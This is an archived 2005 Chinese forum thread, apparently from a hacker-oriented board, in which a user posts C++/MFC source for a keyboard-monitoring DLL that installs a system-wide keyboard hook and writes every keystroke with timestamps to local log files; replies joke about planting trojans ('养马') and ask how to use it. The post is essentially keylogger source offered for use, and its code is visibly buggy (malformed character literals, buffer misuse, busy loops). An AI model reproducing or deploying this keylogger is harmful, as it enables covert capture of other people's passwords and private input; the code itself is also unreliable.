Board logo

标题: 键盘监视程序 [打印本页]

作者: 漫天樱舞    时间: 2005-8-17 21:20     标题: 键盘监视程序

KeyHook.cpp // KeyHook.cpp : Defines the initialization routines for the DLL. // #include "stdafx.h" #include "KeyHook.h" #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif // // Note! // // If this DLL is dynamically linked against the MFC // DLLs, any functions exported from this DLL which // call into MFC must have the AFX_MANAGE_STATE macro // added at the very beginning of the function. // // For example: // // extern "C" BOOL PASCAL EXPORT ExportedFunction() // { // AFX_MANAGE_STATE(AfxGetStaticModuleState()); // // normal function body here // } // // It is very important that this macro appear in each // function, prior to any calls into MFC. This means that // it must appear as the first statement within the // function, even before any object variable declarations // as their constructors may generate calls into the MFC // DLL. // // Please see MFC Technical Notes 33 and 58 for additional // details. // ///////////////////////////////////////////////////////////////////////////// // CKeyHookApp BEGIN_MESSAGE_MAP(CKeyHookApp, CWinApp) //{{AFX_MSG_MAP(CKeyHookApp) // NOTE - the ClassWizard will add and remove mapping macros here. // DO NOT EDIT what you see in these blocks of generated code! //}}AFX_MSG_MAP END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// // CKeyHookApp construction CKeyHookApp::CKeyHookApp() { // TOD add construction code here, // Place all significant initialization in InitInstance } ///////////////////////////////////////////////////////////////////////////// // The one and only CKeyHookApp object CKeyHookApp theApp; HHOOK Hook; //定义全局钩子 char c[1] ; //保存当前的按键 char ct[1]; //c[1]内容的一个拷贝 int iFlag=1 ; //协调两个线程同步的标志 CTime tmConent ; //保存当前按键的时间 CWinThread* threadKey; // 写键盘线程 CWinThread* threadTime; // 写时间线程 LRESULT CALLBACK LaucherHooK(int nCode, WPARAM wParam, LPARAM lParam); //钩子过程 UINT SaveKeyLog(LPVOID lParam); // 保存按键日志 UINT SaveTimeLog(LPVOID lParam); // 保存按键时间日志 UINT CountNum(LPVOID lParam); // 记数,暂无用处 DllExport void WINAPI InstallLauchEv() //安装钩子 { threadTime = AfxBeginThread(SaveTimeLog,NULL); threadKey = AfxBeginThread(SaveKeyLog,NULL); Hook = (HHOOK)SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)LaucherHooK,theApp.m_hInstance,0); } DllExport void WINAPI UnstallLauchEv() //卸载钩子 { UnhookWindowsHookEx(Hook); threadTime->ExitInstance(); threadKey->ExitInstance(); } //键盘钩子过程 LRESULT CALLBACK LaucherHooK(int nCode, WPARAM wParam, LPARAM lParam) //钩子处理过程 { LRESULT result = CallNextHookEx(Hook,nCode,wParam,lParam); if( nCode == HC_ACTION ) { if( lParam & 0x80000000) { //保存按键信息 c[0] = wParam; strcpy(ct,c); tmConent = CTime::GetCurrentTime(); } } return result; } //保存日志 UINT SaveKeyLog(LPVOID lParam) { //get current time CTime tm = CTime::GetCurrentTime(); CString sFileName; sFileName.Format("时间_%d_%d.log",tm.GetMonth(),tm.GetDay()); CFile fLog; if( !fLog.Open(sFileName,Cfile::modeReadWrite) ) { fLog.Open(sFileName,Cfile::modeCreate|Cfile::modeReadWrite); } //append to file char oldKey=';\n';; while(1) { fLog.SeekToEnd(); if( c[0]!= oldKey && (iFlag==1) ) { fLog.Write(c,1); c[0] = ';\n';; fLog.Write(c,1); oldKey = c[0]; iFlag=0; } } fLog.Close(); return 1; } UINT SaveTimeLog(LPVOID lParam) { CString sFileName; CTime tm = CTime::GetCurrentTime(); sFileName.Format("时间%d.log",tm.GetHour()); CFile fLog; //打开文件 if( !fLog.Open(sFileName,Cfile::modeReadWrite) ) { fLog.Open(sFileName,Cfile::modeCreate|Cfile::modeReadWrite); } CTime tmOld; TCHAR ch[1024]; while(1) { if( tmOld !=tmConent && (iFlag==0) ) //如果时间没有重复且按键已写入,则写入当前时间 { //append to file CString sValue; sValue.Format("字母%c,时间%d:%d:%d",ct[0],tmConent.GetHour(),tmConent.GetMinute(),tmConent.GetSecond()); fLog.SeekToEnd(); lstrcpy(ch,sValue); fLog.Write(ch,sValue.GetLength()); tmOld = tmConent; char c = ';\n';; fLog.Write(&c,1); iFlag = 1; //开启按键线程 } } fLog.Close(); return 1; } UINT CountNum(LPVOID lParam) { int i=0 ; while( i<1000) { i++; } return i; }
作者: 家宝总理    时间: 2005-8-18 20:49     标题: 键盘监视程序

mm你也养马啊
作者: 漫天樱舞    时间: 2005-8-18 20:58     标题: 键盘监视程序

呵呵
不养
没钱买饲料啊
作者: 我是中国人    时间: 2005-8-20 12:59     标题: 键盘监视程序

鹦鹉MM你的代码贴的乱了些,不好调试啊~~~
作者: newswallow    时间: 2005-8-23 11:09     标题: 键盘监视程序

怎么用你的程序呢,说明一下吧





欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/) Powered by Discuz! 7.2